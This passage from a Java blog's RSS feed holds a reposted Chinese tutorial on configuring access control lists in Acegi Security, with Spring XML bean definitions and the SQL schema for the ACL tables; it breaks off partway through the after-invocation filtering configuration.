17:40 <a href="http://www.blogjava.net/junky/archive/2007/07/03/127915.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在Acegi中使用ACL(转)</title><link>http://www.blogjava.net/junky/archive/2007/07/03/127816.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Tue, 03 Jul 2007 05:11:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/07/03/127816.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/127816.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/07/03/127816.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/127816.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/127816.html</trackback:ping><description><![CDATA[Acegi好早就实现了ACL（好像是0.5），但是使用起来确实有点麻烦，所以用的不是太广泛。这里简单的说明一下使用方法，希望有更多的朋友来试试。<br><br>首先要理解Acegi里面Voter的概念，ACL正是在一个Voter上扩展起来的。现来看一下AclVoter的配置。<br><br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">bean&nbsp;</span><span style="COLOR: #ff0000">id</span><span style="COLOR: #0000ff">="aclBeanReadVoter"</span><span style="COLOR: #ff0000">&nbsp;class</span><span style="COLOR: #0000ff">="org.acegisecurity.vote.BasicAclEntryVoter"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">property&nbsp;</span><span style="COLOR: #ff0000">name</span><span style="COLOR: #0000ff">="processConfigAttribute"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">value</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000">ACL_READ</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">value</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">property</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">property&nbsp;</span><span style="COLOR: #ff0000">name</span><span style="COLOR: #0000ff">="processDomainObjectClass"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">value</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000">org.springside.modules.security.acl.domain.AclDomainAware</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">value</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">property</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">property&nbsp;</span><span style="COLOR: #ff0000">name</span><span style="COLOR: #0000ff">="aclManager"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">ref&nbsp;</span><span style="COLOR: #ff0000">local</span><span style="COLOR: #0000ff">="aclManager"</span><span style="COLOR: #0000ff">/&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">property</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">property&nbsp;</span><span style="COLOR: #ff0000">name</span><span style="COLOR: #0000ff">="requirePermission"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">list</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">ref&nbsp;</span><span style="COLOR: #ff0000">local</span><span style="COLOR: #0000ff">="org.acegisecurity.acl.basic.SimpleAclEntry.ADMINISTRATION"</span><span style="COLOR: #0000ff">/&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">ref&nbsp;</span><span style="COLOR: #ff0000">local</span><span style="COLOR: #0000ff">="org.acegisecurity.acl.basic.SimpleAclEntry.READ"</span><span style="COLOR: #0000ff">/&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">list</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">property</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">bean</span><span style="COLOR: #0000ff">&gt;</span></div>
<ol>
    <li><span style="COLOR: #000000">ACL_READ指的是这个Voter对哪些SecurityConfig起作用，我们可以把<span style="COLOR: #000000">ACL_READ配置在想要拦截的Method上。比方说我们要拦截readOrder这个方法，以实现ACL控制，可以这样配置。<br><em><font color=#006400>orderManager.readOrder=ACL_READ</font></em></span></span>
    <li><span style="COLOR: #000000"><span style="COLOR: #000000"><font color=#000000>processDomainObjectClass指出哪些DomainObject是要进行ACL校验的。</font></span></span>
    <li><span style="COLOR: #000000"><span style="COLOR: #000000"><font color=#000000>aclManager是一个比较重要的概念，主要负责在权限列表中根据用户和DomainObject取得acl列表。</font></span></span>
    <li><span style="COLOR: #000000"><span style="COLOR: #000000">requirePermission指出要进行这个操作必须具备的acl权限，比方说read操作就必须有<font color=#000000>ADMINISTRATION或READ两个权限。</font></span></span></li>
</ol>
<p><span style="COLOR: #000000"><span style="COLOR: #000000">其实整个过程看下来比较清晰，下面来看一下AclManager如何配置。<br></span></span></p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">&lt;!--</span><span style="COLOR: #008000">&nbsp;=========&nbsp;ACCESS&nbsp;CONTROL&nbsp;LIST&nbsp;LOOKUP&nbsp;MANAGER&nbsp;DEFINITIONS&nbsp;=========&nbsp;</span><span style="COLOR: #008000">--&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">bean&nbsp;</span><span style="COLOR: #ff0000">id</span><span style="COLOR: #0000ff">="aclManager"</span><span style="COLOR: #ff0000">&nbsp;class</span><span style="COLOR: #0000ff">="org.acegisecurity.acl.AclProviderManager"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">property&nbsp;</span><span style="COLOR: #ff0000">name</span><span style="COLOR: #0000ff">="providers"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">list</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">ref&nbsp;</span><span style="COLOR: #ff0000">local</span><span style="COLOR: #0000ff">="basicAclProvider"</span><span style="COLOR: #0000ff">/&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">list</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">property</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">bean</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">bean&nbsp;</span><span style="COLOR: #ff0000">id</span><span style="COLOR: #0000ff">="basicAclProvider"</span><span style="COLOR: #ff0000">&nbsp;class</span><span style="COLOR: #0000ff">="org.acegisecurity.acl.basic.BasicAclProvider"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">property&nbsp;</span><span style="COLOR: #ff0000">name</span><span style="COLOR: #0000ff">="basicAclDao"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">ref&nbsp;</span><span style="COLOR: #ff0000">local</span><span style="COLOR: #0000ff">="basicAclExtendedDao"</span><span style="COLOR: #0000ff">/&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">property</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">bean</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">bean&nbsp;</span><span style="COLOR: #ff0000">id</span><span style="COLOR: #0000ff">="basicAclExtendedDao"</span><span style="COLOR: #ff0000">&nbsp;class</span><span style="COLOR: #0000ff">="org.acegisecurity.acl.basic.jdbc.JdbcExtendedDaoImpl"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">property&nbsp;</span><span style="COLOR: #ff0000">name</span><span style="COLOR: #0000ff">="dataSource"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">ref&nbsp;</span><span style="COLOR: #ff0000">bean</span><span style="COLOR: #0000ff">="dataSource"</span><span style="COLOR: #0000ff">/&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">property</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">bean</span><span style="COLOR: #0000ff">&gt;</span></div>
<br>很明显ACLManager继承了Acegi的一贯风格，Provider可以提供多种取得ACL访问列表的途径，默认的是用<font color=#0000ff>basicAclProvider</font><font color=#000000>在数据库中取得。既然提到了数据库，那我们就来看一下Acegi默认提供的ACL在数据库里的保存表结构：<br><br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #0000ff">CREATE</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">TABLE</span><span style="COLOR: #000000">&nbsp;acl_object_identity&nbsp;(<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>id&nbsp;</span><span style="COLOR: #ff00ff">IDENTITY</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #808080">NOT</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>object_identity&nbsp;VARCHAR_IGNORECASE(</span><span style="FONT-WEIGHT: bold; COLOR: #800000">250</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #808080">NOT</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>parent_object&nbsp;</span><span style="FONT-WEIGHT: bold; COLOR: #000000">INTEGER</span><span style="COLOR: #000000">,<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>acl_class&nbsp;VARCHAR_IGNORECASE(</span><span style="FONT-WEIGHT: bold; COLOR: #800000">250</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #808080">NOT</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">CONSTRAINT</span><span style="COLOR: #000000">&nbsp;unique_object_identity&nbsp;</span><span style="COLOR: #0000ff">UNIQUE</span><span style="COLOR: #000000">(object_identity),<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">FOREIGN</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">KEY</span><span style="COLOR: #000000">&nbsp;(parent_object)&nbsp;</span><span style="COLOR: #0000ff">REFERENCES</span><span style="COLOR: #000000">&nbsp;acl_object_identity(id)<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>);<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">CREATE</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">TABLE</span><span style="COLOR: #000000">&nbsp;acl_permission&nbsp;(<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>id&nbsp;</span><span style="COLOR: #ff00ff">IDENTITY</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #808080">NOT</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>acl_object_identity&nbsp;</span><span style="FONT-WEIGHT: bold; COLOR: #000000">INTEGER</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #808080">NOT</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>recipient&nbsp;VARCHAR_IGNORECASE(</span><span style="FONT-WEIGHT: bold; COLOR: #800000">100</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #808080">NOT</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>mask&nbsp;</span><span style="FONT-WEIGHT: bold; COLOR: #000000">INTEGER</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #808080">NOT</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">CONSTRAINT</span><span style="COLOR: #000000">&nbsp;unique_recipient&nbsp;</span><span style="COLOR: #0000ff">UNIQUE</span><span style="COLOR: #000000">(acl_object_identity,&nbsp;recipient),<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">FOREIGN</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">KEY</span><span style="COLOR: #000000">&nbsp;(acl_object_identity)&nbsp;</span><span style="COLOR: #0000ff">REFERENCES</span><span style="COLOR: #000000">&nbsp;acl_object_identity(id)<br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>);</span></div>
</font>
<ol>
    <li>acl_object_identity表存放了所有受保护的domainObject的信息。其中object_identity字段保存了domainObject的class和id，默认的保存格式是：domainClass:domainObjectId。
    <li>acl_permission&nbsp;就是ACL权限列表了，recipient&nbsp;是用户或角色信息，mask表示了这个用户或角色对这个domainObject的访问权限。注意这些信息的保存格式都是可以根据自己的需要改变的。</li>
</ol>
<p>这样读取和删除的时候Acegi就能很好的完成拦截工作，但是读取一个List的时候，如何才能把该用户不能操作的domainObject剔除掉呢？这就需要afterInvocationManager来完成这个工作。下面来看下配置：<br></p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">&lt;!--</span><span style="COLOR: #008000">&nbsp;==============&nbsp;"AFTER&nbsp;INTERCEPTION"&nbsp;AUTHORIZATION&nbsp;DEFINITIONS&nbsp;===========&nbsp;</span><span style="COLOR: #008000">--&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">bean&nbsp;</span><span style="COLOR: #ff0000">id</span><span style="COLOR: #0000ff">="afterInvocationManager"</span><span style="COLOR: #ff0000">&nbsp;class</span><span style="COLOR: #0000ff">="org.acegisecurity.afterinvocation.AfterInvocationProviderManager"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">property&nbsp;</span><span style="COLOR: #ff0000">name</span><span style="COLOR: #0000ff">="providers"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">list</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">ref&nbsp;</span><span style="COLOR: #ff0000">local</span><span style="COLOR: #0000ff">="afterAclCollectionRead"</span><span style="COLOR: #0000ff">/&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">list</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">property</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">bean</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">&lt;!--</span><span style="COLOR: #008000">&nbsp;Processes&nbsp;AFTER_ACL_COLLECTION_READ&nbsp;configuration&nbsp;settings&nbsp;</span><span style="COLOR: #008000">--&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">bean&nbsp;</span><span style="COLOR: #ff0000">id</span><span style="COLOR: #0000ff">="afterAclCollectionRead"</span><span style="COLOR: #ff0000">&nbsp;class</span><span style="COLOR: #0000ff">="org.acegisecurity.afterinvocation.BasicAclEntryAfterInvocationCollectionFilteringProvider"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">property&nbsp;</span><span style="COLOR: #ff0000">name</span><span style="COLOR: #0000ff">="aclManager"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">ref&nbsp;</span><span style="COLOR: #ff0000">local</span><span style="COLOR: #0000ff">="aclManager"</span><span style="COLOR: #0000ff">/&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">property</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">property&nbsp;</span><span style="COLOR: #ff0000">name</span><span style="COLOR: #0000ff">="requirePermission"</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">list</span><span style="COLOR: 